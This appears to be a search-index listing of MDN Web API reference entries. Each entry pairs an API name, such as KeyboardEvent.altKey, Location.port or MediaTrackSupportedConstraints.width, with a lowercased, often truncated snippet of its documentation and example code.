vent event handler property onabort this can happen for any of the following reasons: bad requests, (for example, trying to add the same key twice, or put the same index key when the key has a uniqueness constraint), an explicit abort() call an uncaught exception in the request's success/error handler, an i/o error (an actual failure to write to disk, for example disk detached, or other os/hardware failure) quota exceeded.
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
this method was previously named transferimagebitmap(), but was renamed in a spec change.
ImageBitmapRenderingContext - Web APIs
this was previously named transferimagebitmap(), but was renamed in a spec change.
ImageCapture.grabFrame() - Web APIs
r canvas = document.queryselector('canvas'); grabframebutton.onclick = grabframe; function grabframe() { imagecapture.grabframe() .then(function(imagebitmap) { console.log('grabbed frame:', imagebitmap); canvas.width = imagebitmap.width; canvas.height = imagebitmap.height; canvas.getcontext('2d').drawimage(imagebitmap, 0, 0); canvas.classlist.remove('hidden'); }) .catch(function(error) { console.log('grabframe() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'grabframe()' in that specification.
ImageData - Web APIs
WebAPIImageData
note that this is the most common way to create such an object in workers as createimagedata() is not available there.
getVersion - Web APIs
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
IntersectionObserver.disconnect() - Web APIs
the intersectionobserver method disconnect() stops watching all of its target elements for visibility changes.
Keyboard.getLayoutMap() - Web APIs
the getlayoutmap() method of the keyboard interface returns a promise that resolves with an instance of keyboardlayoutmap which is a map-like object with functions for retrieving the strings associated with specific physical keys.
Keyboard.lock() - Web APIs
WebAPIKeyboardlock
it captures these keys regardless of which modifiers are used with the key press.
Keyboard.unlock() - Web APIs
WebAPIKeyboardunlock
the unlock() method of the keyboard interface unlocks all keys captured by the keyboard.lock() method and returns synchronously.
KeyboardEvent.altKey - Web APIs
syntax var altkeypressed = instanceofkeyboardevent.altkey return value boolean examples <html> <head> <title>altkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key keydown: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "alt key keydown: " + e.altkey + "\n" ); } </script> </head> <body onkeydown="showchar(event);"> <p> press any character key, with or without holding down the alt key.<br /> you can also use the shift key together with the alt key.
KeyboardEvent.ctrlKey - Web APIs
syntax var ctrlkeypressed = instanceofkeyboardevent.ctrlkey return value a boolean example <html> <head> <title>ctrlkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe defini...
KeyboardEvent.repeat - Web APIs
the repeat read-only property of the keyboardevent interface returns a boolean that is true if the given key is being held down such that it is automatically repeating.
KeyboardEvent.shiftKey - Web APIs
syntax var shiftkeypressed = instanceofkeyboardevent.shiftkey return value a boolean example <html> <head> <title>shiftkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications ...
KeyboardLayoutMap.entries - Web APIs
the entries read-only property of the keyboardlayoutmap interface returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
KeyboardLayoutMap.has() - Web APIs
syntax var aboolean = keyboardlayoutmap.has(key) parameters key the key of an element to search for in the map.
KeyboardLayoutMap.keys - Web APIs
the keys read-only property of the keyboardlayoutmap interface returns a new array iterator object that contains the keys for each index in the array.
KeyboardLayoutMap.values - Web APIs
the values read-only property of the keyboardlayoutmap interface returns a new array iterator object that contains the values for each index in the map.
KeyframeEffect.composite - Web APIs
add the keyframeeffect is added to the underlying value with which it is combined (aka additive): blur(2) blur(3).
KeyframeEffect.getKeyframes() - Web APIs
return value returns a sequence of objects with the following format: property value pairs as many property value pairs as are contained in each keyframe of the animation.
KeyframeEffect.iterationComposite - Web APIs
the iterationcomposite property of a keyframeeffect resolves how the animation's property value changes accumulate or override each other upon each of the animation's iterations.
LayoutShiftAttribution - Web APIs
the layoutshiftattribution interface of the layout instability api provides debugging information about elements which have shifted.
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
the linearaccelerationsensor constructor creates a new linearaccelerationsensor object which provides on each reading the acceleration applied to the device along all three axes, but without the contribution of gravity.
LinearAccelerationSensor - Web APIs
the linearaccelerationsensor interface of the sensor apis provides on each reading the acceleration applied to the device along all three axes, but without the contribution of gravity.
Location: ancestorOrigins - Web APIs
you can use location.ancestororigins in the script for a document to determine, for example, whenever the document is being framed by a site which you don’t expect it to be framed by.
Location: assign() - Web APIs
WebAPILocationassign
living standard no change from html5.
Location: hash - Web APIs
WebAPILocationhash
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'hash' in that specification.
Location: host - Web APIs
WebAPILocationhost
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/location.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that ...
Location: hostname - Web APIs
WebAPILocationhostname
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification.
Location: href - Web APIs
WebAPILocationhref
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html living standardthe definition of 'href' in that specification.
Location: origin - Web APIs
WebAPILocationorigin
the origin read-only property of the location interface is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
Location: password - Web APIs
WebAPILocationpassword
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' ...
Location: pathname - Web APIs
WebAPILocationpathname
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification.
Location: port - Web APIs
WebAPILocationport
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification.
Location: reload() - Web APIs
WebAPILocationreload
living standard no change from html5.
Location: replace() - Web APIs
WebAPILocationreplace
living standard no change from html5.
Location: toString() - Web APIs
WebAPILocationtoString
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/location/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/location/tostring' specifications specification status comment html living standard living standard ...
Location: username - Web APIs
WebAPILocationusername
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' ...
Lock - Web APIs
WebAPILock
the lock interface of the the web locks api provides the name and mode of a previously requested lock, which is received in the callback to lockmanager.request().
LockManager.query() - Web APIs
WebAPILockManagerquery
the query() method of the lockmanager interface returns a promise which resolves with an object containing information about held and pending locks.
LockedFile.abort() - Web APIs
WebAPILockedFileabort
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.active - Web APIs
WebAPILockedFileactive
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.append() - Web APIs
WebAPILockedFileappend
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.fileHandle - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.mode - Web APIs
WebAPILockedFilemode
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.onabort - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.onerror - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.readAsArrayBuffer() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.readAsText() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.truncate() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
LockedFile.write() - Web APIs
WebAPILockedFilewrite
there may also be large incompatibilities between implementations and the behavior may change in the future.
MIDIConnectionEvent - Web APIs
the midiconnectionevent interface of the web midi api is the event passed to the onstatechange event handler of the midiaccess interface and the onstatechange event of the midiports interface.
Magnetometer.Magnetometer() - Web APIs
the magnetometer constructor creates a new magnetometer object which returns information about the magnetic field as detected by a device’s primary magnetometer sensor.
MediaDecodingConfiguration - Web APIs
} }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
MediaDeviceInfo.label - Web APIs
syntax var label = mediadeviceinfo.label; value a domstring which describes the media device.
MediaEncodingConfiguration - Web APIs
} }; // check support and performance navigator.mediacapabilities.encodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
msExtendedCode - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
MediaImage - Web APIs
properties src the url from which user agent can fetch the image's data.
createSession() - Web APIs
the mediakeys.createsession() method returns a new mediakeysession object, which represents a context for message exchange with a content decryption module (cdm).
MediaKeys - Web APIs
WebAPIMediaKeys
methods mediakeys.createsession() returns a new mediakeysession object, which represents a context for message exchange with a content decryption module (cdm).
MediaList.mediaText - Web APIs
each one is separated by a comma, for example screen and (min-width: 480px), print.
MediaQueryList.media - Web APIs
javascript let mql = window.matchmedia('(max-width: 600px)'); document.queryselector(".mq-value").innertext = mql.media; the javascript code simply passes the media query to match into matchmedia() to compile it, then sets the <span>'s innertext to the value of the result's media property.
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specificatio...
MediaRecorder.onwarning - Web APIs
the mediarecorder.onwarning event handler (part of the mediarecorder api) handles the recordingwarning event, allowing you to run code in response to non-fatal errors being thrown during media recording via a mediarecorder, which don't halt recording.
MediaRecorderErrorEvent() - Web APIs
some user agents add to the error object other properties that provide information such as stack dumps, the name of the javascript file and the line number where the error occurred, and other debugging aids, but you should not rely on this information in a production environment.
MediaSession.setPositionState() - Web APIs
example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
MediaSource.addSourceBuffer() - Web APIs
ource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specifica...
MediaSource.duration - Web APIs
their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaSource.sourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source buffer that was added above video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaStreamAudioSourceOptions - Web APIs
properties mediastream a required property which specifies the mediastream from which to obtain audio for the node.
MediaStreamTrack.clone() - Web APIs
syntax const newtrack = track.clone() return value a new mediastreamtrack instance which is identical to the one clone() was called, except for its new unique id.
MediaStreamTrack.id - Web APIs
the mediastreamtrack.id read-only property returns a domstring containing a unique identifier (guid) for the track, which is generated by the user agent.
MediaStreamTrack.kind - Web APIs
it doesn't change if the track is deassociated from its source.
MediaStreamTrack.label - Web APIs
when the track is deassociated from its source, the label is not changed.
MediaStreamTrackAudioSourceOptions - Web APIs
properties mediastreamtrack the mediastreamtrack from which to take audio data for this node's output.
MediaTrackConstraints.autoGainControl - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackConstraints.noiseSuppression - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSettings.aspectRatio - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSettings.frameRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSettings.height - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSettings.latency - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSettings.volume - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSettings.width - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints().
MediaTrackSupportedConstraints.aspectRatio - Web APIs
the mediatracksupportedconstraints dictionary's aspectratio property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the aspectratio constraint.
MediaTrackSupportedConstraints.autoGainControl - Web APIs
the mediatracksupportedconstraints dictionary's autogaincontrol property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the autogaincontrol constraint.
MediaTrackSupportedConstraints.deviceId - Web APIs
the mediatracksupportedconstraints dictionary's deviceid property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the deviceid constraint.
MediaTrackSupportedConstraints.facingMode - Web APIs
the mediatracksupportedconstraints dictionary's facingmode property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the facingmode constraint.
MediaTrackSupportedConstraints.groupId - Web APIs
the mediatracksupportedconstraints dictionary's groupid property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the groupid constraint.
MediaTrackSupportedConstraints.height - Web APIs
the mediatracksupportedconstraints dictionary's height property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the height constraint.
MediaTrackSupportedConstraints.latency - Web APIs
the mediatracksupportedconstraints dictionary's latency property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the latency constraint.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
the mediatracksupportedconstraints dictionary's noisesuppression property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the noisesuppression constraint.
MediaTrackSupportedConstraints.sampleRate - Web APIs
the mediatracksupportedconstraints dictionary's samplerate property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the samplerate constraint.
MediaTrackSupportedConstraints.sampleSize - Web APIs
the mediatracksupportedconstraints dictionary's samplesize property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the samplesize constraint.
MediaTrackSupportedConstraints.volume - Web APIs
the mediatracksupportedconstraints dictionary's volume property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the volume constraint.
MediaTrackSupportedConstraints.width - Web APIs
the mediatracksupportedconstraints dictionary's width property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the width constraint.
MessagePort.close() - Web APIs
WebAPIMessagePortclose
channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.ctrlKey - Web APIs
obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.getModifierState() - Web APIs
the value must be one of the keyboardevent.key values which represent modifier keys or "accel".
MouseEvent.metaKey - Web APIs
obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.movementX - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementx' in that specification.
MouseEvent.pageY - Web APIs
WebAPIMouseEventpageY
touch eventsthe definition of 'pagey' in that specification.
MouseEvent.relatedTarget - Web APIs
obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.screenY - Web APIs
obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.shiftKey - Web APIs
obsolete no change from document object model (dom) level 2 events specification.
msSetMediaProtectionManager - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
NDEFReader - Web APIs
ndefreader.onerror an event handler for error event which is called to notify that an error occured during reading.
NDEFReadingEvent - Web APIs
the ndefreadingevent interface represents events despatched on new nfc readings obtained by ndefreader.
NDEFRecord.encoding - Web APIs
syntax ndefrecord.encoding value a usvstring which can be one of the following: "utf-8", "utf-16", "utf-16le" or "utf-16be".
NDEFRecord.id - Web APIs
WebAPINDEFRecordid
this identifier is created by the generator of the record which is solely responsible for enforcing record identifier uniqueness.
NDEFRecord.recordType - Web APIs
syntax ndefrecord.recordtype value a usvstring which can be one of the following: "empty" represents a empty ndef record.
NDEFRecord.toRecords() - Web APIs
in practice, it's possible to implement the parsing mechanism manually, but this method simplifies the process.
NDEFWriter.write() - Web APIs
WebAPINDEFWriterwrite
overwrite -- boolean specifying whether or not existing record should be overwritten, if such exists.
Navigator.canShare() - Web APIs
syntax var canshare = navigator.canshare(data); parameters data optional an object containing data to share that matches what you would pass to navigator.share().
Navigator.connection - Web APIs
the navigator.connection read-only property returns a networkinformation object containing information about the system's connection, such as the current bandwidth of the user's device or whether the connection is metered.
Navigator.doNotTrack - Web APIs
the navigator.donottrack property returns the user's do not track setting, which indicates whether the user is requesting web sites and advertisers to not track them.
Navigator.geolocation - Web APIs
be aware that each browser has its own policies and methods for requesting this permission.
Navigator.getGamepads() - Web APIs
the navigator.getgamepads() method returns an array of gamepad objects, one for each gamepad connected to the device.
Navigator.keyboard - Web APIs
the keyboard read-only property of the navigator interface returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
Navigator.locks - Web APIs
WebAPINavigatorlocks
the locks read-only property of the navigator interface returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object.
Navigator.mediaCapabilities - Web APIs
examples navigator.mediacapabilities.decodinginfo({ type : 'file', audio : { contenttype : "audio/mp3", channels : 2, bitrate : 132700, samplerate : 5200 } }).then(function(result) { console.log('this configuration is ' + (result.supported ?
msSaveBlob - Web APIs
notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header, where x-download-options removes the file open button from the browser file download dialog: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> x-download-options: noopen specifications not part of any specifications.
msSaveOrOpenBlob - Web APIs
notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> specifications not part of any specifications.
Navigator.registerContentHandler() - Web APIs
firefox is the only browser that implemented this feature, and it wasn't implemented to match the standard.
Navigator.wakeLock - Web APIs
the wakelock read-only property returns a wakelock interface which allows a document to acquire a screen wake lock.
NavigatorID.appVersion - Web APIs
example alert('your browser version is reported as ' + navigator.appversion); notes the window.navigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties.
NavigatorLanguage.languages - Web APIs
when its value changes, as the user's preferred languages are changed a languagechange event is fired on the window object.
NetworkInformation.rtt - Web APIs
if no recent measurement data is available, the value is based on the properties of the underlying connection technology.
Node.getUserData() - Web APIs
WebAPINodegetUserData
syntax userdata = somenode.getuserdata(userkey); parameters userkey is the key to choose the specific data sought for the given node.
Node.isDefaultNamespace() - Web APIs
syntax result = node.isdefaultnamespace(namespaceuri); parameters namespaceuri is a string representing the namespace against which the element will be checked.
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
living standard no change (was for a long time removed from it).
Node.nodePrincipal - Web APIs
note: this property exists on all nodes (html, svg, mathml, xul, etc.), but only if the script trying to use it has chrome privileges.
Node.normalize() - Web APIs
WebAPINodenormalize
syntax element.normalize(); example let wrapper = document.createelement("div"); wrapper.appendchild( document.createtextnode("part 1 ") ); wrapper.appendchild( document.createtextnode("part 2 ") ); // at this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].textcontent === "part 1 " // wrapper.childnodes[1].textcontent === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].textcontent === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in ...
NodeIterator.filter - Web APIs
living standard no change from document object model (dom) level 2 traversal and range specification.
NodeIterator.pointerBeforeReferenceNode - Web APIs
the nodeiterator.pointerbeforereferencenode read-only property returns a boolean flag that indicates whether the nodefilter is anchored before (if this value is true) or after (if this value is false) the anchor node indicated by the nodeiterator.referencenode property.
NodeIterator.referenceNode - Web APIs
the nodeiterator.referencenode read-only returns the node to which the iterator is anchored; as new nodes are inserted, the iterator remains anchored to the reference node as specified by this property.
NodeIterator.root - Web APIs
WebAPINodeIteratorroot
living standard no change from document object model (dom) level 2 traversal and range specification.
NodeList.entries() - Web APIs
WebAPINodeListentries
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var entry of list.entries()) { console.log(entry); } results in: array [ 0, <p> ] array [ 1, #text "hey" ] array [ 2, <span> ] ...
NodeList.keys() - Web APIs
WebAPINodeListkeys
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var key of list.keys()) { console.log(key); } the result is: 0 1 2 ...
NodeList.length - Web APIs
WebAPINodeListlength
// all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification.
NodeList.values() - Web APIs
WebAPINodeListvalues
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var value of list.values()) { console.log(value); } the result is: <p> #text "hey" <span> ...
Notification.close() - Web APIs
function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon }; var n = new notification(thetitle,options); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification.
Notification.timestamp - Web APIs
the notification's timestamp can represent the time, in milliseconds since 00:00:00 utc on 1 january 1970, of the event for which the notification was created, or it can be an arbitrary timestamp that you want associated with the notification.
NotificationEvent.NotificationEvent() - Web APIs
syntax var mynotificationevent = new notificationevent(type, notificationeventinit); parameters type tbd notificationeventinit optional a dictionary object containing a notification object to be used as the notification the event is dispatched on.
NotificationEvent.action - Web APIs
example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'action' in that specification.
OES_fbo_render_mipmap - Web APIs
the oes_fbo_render_mipmap extension is part of the webgl api and makes it possible to attach any level of a texture to a framebuffer object.
OES_standard_derivatives - Web APIs
constants this extension exposes one new constant, which can be used in the hint() and getparameter() methods.
OES_texture_float - Web APIs
floating-point color buffers this extension implicitly enables the webgl_color_buffer_float extension (if supported), which allows rendering to 32-bit floating-point color buffers.
OES_texture_half_float - Web APIs
half floating-point color buffers this extension implicitly enables the ext_color_buffer_half_float extension (if supported), which allows rendering to 16-bit floating point formats.
OES_vertex_array_object.bindVertexArrayOES() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
OfflineAudioCompletionEvent - Web APIs
note: this interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of offlineaudiocontext.startrendering is supported in browsers, which will no longer need it.
OscillatorNode.detune - Web APIs
for applied examples/information, check out our violent theremin demo (see app.js for relevant code).
OscillatorNode.frequency - Web APIs
for an applied example, check out our violent theremin demo (see app.js for relevant code).
OscillatorNode.setPeriodicWave() - Web APIs
the first value is the dc offset, which is the value at which the oscillator starts.
OscillatorNode.start() - Web APIs
for an applied example, check out our violent theremin demo (see app.js for relevant code).
OscillatorNode.stop() - Web APIs
for an applied example, check out our violent theremin demo (see app.js for relevant code).
OverconstrainedError.OverconstrainedError() - Web APIs
the overconstrainederror constructor creates a new overconstrainederror object which indicates that the set of desired capabilities for the current mediastreamtrack cannot currently be met.
PasswordCredential.iconURL - Web APIs
this image is intended for display in a credential chooser.
PasswordCredential.name - Web APIs
the name read-only property of the passwordcredential interface returns a usvstring containing a human-readable public name for display in a credential chooser.
PaymentAddress.country - Web APIs
syntax var paymentcountry = paymentaddress.country; value a domstring which contains the iso3166-1 alpha-2 code identifying the country in which the address is located, or an empty string if no country is available, which frequently can be assumed to mean "same country as the site owner." usage notes if the payment handler validates the address and determines that the value of country is invalid, a call to paymentrequestupdateevent.updatewith() will be made with a details object containing a shippingaddresserrors field.
PaymentAddress.languageCode - Web APIs
syntax var paymentlanguagecode = paymentaddress.languagecode; value a domstring providing the bcp-47 format language code indicating the language the address was written in, such as "en-us", "pt-br", or "ja-jp".
PaymentAddress.organization - Web APIs
this should be the name of the organization that is to receive the shipment for shipping addresses, or which is repsonsible for payment for payment addresses.
PaymentAddress.sortingCode - Web APIs
the sortingcode read-only property of the paymentaddress interface returns a string containing a postal sorting code such as is used in france.
PaymentDetailsUpdate.error - Web APIs
the paymentdetailsupdate dictionary's error property is a human-readable domstring which provides an error message to be displayed if the specified information doesn't offer any valid shipping options.
PaymentRequestEvent.instrumentKey - Web APIs
the instrumentkey read-only property of the paymentrequestevent interface returns a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument.
PaymentRequestEvent.modifiers - Web APIs
the modifiers read-only property of the paymentrequestevent interface returns an array of objects containing changes to payment details.
